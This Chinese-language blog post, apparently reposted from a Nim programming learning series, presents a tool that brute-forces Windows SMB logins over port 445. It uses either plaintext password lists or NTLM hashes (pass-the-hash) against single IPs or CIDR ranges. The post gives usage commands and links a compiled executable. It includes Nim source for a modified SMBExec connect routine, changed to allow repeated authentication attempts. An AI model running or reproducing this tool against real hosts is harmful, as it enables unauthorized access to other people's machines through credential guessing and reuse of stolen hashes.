SMB密碼/HASH爆破(nim學習系列)


SMB密碼爆破(nim學習系列)

關鍵字:windows smb密碼爆破;445端口;弱口令掃描; ntlmhash爆破;

使用方法

  • 支持明文密碼爆破
  • 支持ntlmhash爆破
  • 通過命令行或者文件導入目標IP地址
  • 先掃描目標IP 445端口,如果開放再進行密碼爆破
  • 輸出爆破過程,成功密碼保持到 smblogin.log

IP地址的輸入支持單個IP和CIDR。

賬號密碼的輸入支持兩種格式。

第一種,user.txt(存放用戶名) 和 pass.txt(存放密碼)。

第二種, userpass.txt(一行一對賬號密碼,用空格間隔,比如:administrator 123456)。

如果以上文件同時存在,優先選擇第二種。

舉例

明文密碼爆破

smblogin.exe plain 192.168.1.0/24

smblogin.exe plain ip.txt

ntlmhash爆破

smblogin.exe hash 10.10.0.0/23

截圖

使用截圖

使用截圖2

源代碼 sublogin.nim

源代碼:

sublogin.nim

已經編譯好的exe:

sublogin.exe

主要使用到 SMBExec 模塊,可通過 nimble install SMBExec 進行安裝。

但是如果直接調用原版自帶的 connect 函數(SMBExec.nim文件中)進行超過一次的登陸嘗試,會提示“遠程主機強迫關閉了一個現有的連接”錯誤。最后我復制 connect 函數,並重命名為 connectTest ,修改后的代碼如下:

#[
Author: StudyCat
Blog: https://www.cnblogs.com/studycat
Github: https://github.com/StudyCat404/myNimExamples
License: BSD 3-Clause
]#
proc connectTest*(smb: SMB2): bool =
    var 
        recvClient: seq[string]
        response: string
    #### new line    
    messageID = 1    
    session_ID = @[0x00.byte,0x00.byte,0x00.byte,0x00.byte,0x00.byte,0x00.byte,0x00.byte,0x00.byte]    
    #### new line
    ## Connect
    smb.socket.connect(smb.target, 445.Port)

    ## SMBv1 Init negotiate
    smb.socket.send(getSMBv1NegoPacket())
    recvClient = smb.socket.recvPacket(1024, 100)

    ## Check Dialect
    #printC(Info, "Dialect: " & checkDialect recvClient)

    ## Check Signing
    signing = checkSigning recvClient
    #if signing:
    #    printC Info, "Signing Enabled"
    #else:
    #    printC Info, "Signing Disabled"

    ## SMBv2 negotiate
    smb.socket.send(getSMBv2NegoPacket())
    recvClient = smb.socket.recvPacket(1024, 100)

    ## SMBv2NTLM negotiate
    smb.socket.send(getSMBv2NTLMNego(signing))
    response = smb.socket.recvPacketForNTLM(1024, 100)

    ## Pass the hash
    let authPacket = getSMBv2NTLMAuth(getSMBv2NTLMSSP(response, smb.hash, smb.domain, smb.user, signing)) 

    smb.socket.send(authPacket)
    recvClient = smb.socket.recvPacket(1024, 100)

    if checkAuth recvClient:
        #printC Success, "Successfully logged on!"
        stage = TreeConnect
        return true
    else:
        #printC Error, "Login failed"
        stage = Exit
        return false

    #result = recvClient

向 k8gege學習 http://k8gege.org/Ladon/SmbScan.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM